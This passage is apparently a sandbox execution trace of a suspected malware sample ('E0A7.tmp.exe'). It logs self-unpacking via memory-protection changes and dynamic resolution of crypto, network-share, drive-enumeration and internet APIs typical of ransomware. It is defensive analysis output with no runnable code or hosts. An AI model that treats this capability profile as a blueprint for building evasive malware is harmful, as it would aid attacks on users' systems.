lpLCData=0x0) returned 0 [0041.847] GetOEMCP () returned 0x1b5 [0041.847] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0041.847] GetOEMCP () returned 0x1b5 [0042.740] LocalAlloc (uFlags=0x0, uBytes=0x41f1c) returned 0x6721b0 [0042.752] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.758] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0042.764] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0042.766] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0042.766] VirtualProtect (in: lpAddress=0x6b40d8, dwSize=0x31755, flNewProtect=0x40, lpflOldProtect=0x18f900 | out: lpflOldProtect=0x18f900*=0x4) returned 1 [0042.801] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0042.801] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0042.801] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0042.801] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0042.801] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0042.801] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0042.802] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0042.802] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0042.802] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0042.802] SetErrorMode (uMode=0x400) returned 0x0 [0042.802] SetErrorMode (uMode=0x0) returned 0x400 [0042.802] GetVersionExA (in: lpVersionInformation=0x18ee44*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18ee44*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0042.802] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0042.809] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18fecc | out: lpflOldProtect=0x18fecc*=0x2) returned 1 [0042.828] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0042.831] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0042.831] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0042.831] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0042.831] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0042.831] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0042.831] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0042.831] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b40000 [0043.175] GetProcAddress (hModule=0x74b40000, lpProcName="WNetCloseEnum") returned 0x74b42dd6 [0043.175] GetProcAddress (hModule=0x74b40000, lpProcName="WNetOpenEnumW") returned 0x74b42f06 [0043.175] GetProcAddress (hModule=0x74b40000, lpProcName="WNetEnumResourceW") returned 0x74b43058 [0043.175] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0045.469] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0045.470] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0045.470] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0045.470] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0045.470] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0045.470] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0045.470] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0045.470] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74b00000 [0045.955] GetProcAddress (hModule=0x74b00000, lpProcName="timeGetTime") returned 0x74b026e0 [0045.955] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0045.955] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0045.955] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0045.955] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0045.955] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0045.955] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0045.955] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0045.955] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0045.955] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0045.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0045.956] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0045.956] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0045.956] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0045.956] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0045.956] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0045.956] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0045.957] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0045.957] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0045.957] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0045.957] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0045.957] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0045.957] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0045.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0045.957] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0045.957] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0045.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0045.958] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0045.959] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0045.959] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0045.959] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0045.959] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0045.959] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0045.959] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0045.959] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0045.959] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0045.959] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0045.959] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0045.960] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0045.961] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0045.961] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0045.961] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0045.961] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0045.961] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0045.961] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0045.961] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0045.961] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0045.961] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0045.961] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0045.962] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0045.962] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0045.962] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0045.962] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0045.962] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0045.962] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0045.962] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0045.962] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0045.962] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0045.962] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0045.963] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0045.964] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0045.964] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0045.964] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0045.964] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0045.964] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0045.964] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0045.964] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0045.964] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0045.964] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0045.964] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0045.965] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0045.965] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0045.965] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0045.965] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0045.965] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0045.965] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0045.965] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0045.965] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0045.966] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0045.967] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0045.967] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0045.967] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0045.967] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0045.967] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0045.967] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0045.967] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0045.967] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0045.967] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0045.967] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0045.968] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0045.968] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0045.968] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0045.968] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0045.968] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0045.968] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0045.968] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0045.968] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0045.968] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0045.968] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0045.968] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0045.969] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0045.969] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0045.969] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0045.969] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0045.969] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0045.969] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0045.969] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0045.969] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0045.969] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0045.969] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0045.970] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0045.970] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0045.970] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0045.970] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0045.970] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0045.970] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0045.970] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0045.970] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0045.970] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0045.970] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0045.970] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0045.971] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0045.971] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0045.971] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0045.971] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0045.971] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0045.971] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0045.971] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0045.971] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0045.971] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0045.971] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0045.972] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0045.972] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0045.972] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0045.972] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0047.967] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0047.967] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0047.967] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0047.967] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0047.967] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0047.968] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0047.968] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0047.968] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0047.968] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0047.968] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0047.968] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0047.968] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0047.968] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0047.968] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0047.968] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0047.968] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0047.968] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0047.968] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0047.969] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0047.969] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74ae0000 [0048.578] GetProcAddress (hModule=0x74ae0000, lpProcName="GetAdaptersInfo") returned 0x74ae9263 [0048.578] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0048.793] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0048.793] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0048.793] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0048.793] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74a80000 [0049.097] GetProcAddress (hModule=0x74a80000, lpProcName="DnsQuery_W") returned 0x74a9572c [0049.097] GetProcAddress (hModule=0x74a80000, lpProcName="DnsFree") returned 0x74a8436b [0049.097] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0049.097] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0049.097] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0049.613] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0049.613] atexit (param_1=0x6b49f8) returned 0 [0049.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fedc | out: lpSystemTimeAsFileTime=0x18fedc*(dwLowDateTime=0xd7612790, dwHighDateTime=0x1d50371)) [0049.613] GetCurrentThreadId () returned 0x8ec [0049.613] GetCurrentProcessId () returned 0x8e8 [0049.613] QueryPerformanceCounter (in: lpPerformanceCount=0x18fed4 | out: lpPerformanceCount=0x18fed4*=16946012220) returned 1 [0049.613] GetStartupInfoW (in: lpStartupInfo=0x18fe6c | out: lpStartupInfo=0x18fe6c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0049.613] GetProcessHeap () returned 0x660000 [0049.614] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0049.614] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0049.614] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0049.614] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0049.614] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0049.614] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0049.614] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0049.614] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0049.614] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0049.615] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0049.615] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0049.615] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0049.615] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0049.615] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0049.615] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0049.615] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0049.615] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0049.616] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0049.616] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0049.616] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0049.616] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0049.616] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0049.616] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0049.616] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0049.616] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0049.617] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0049.617] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0049.617] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0049.617] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0049.617] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0049.617] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0049.617] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0049.617] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0049.617] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0049.618] RtlAllocateHeap 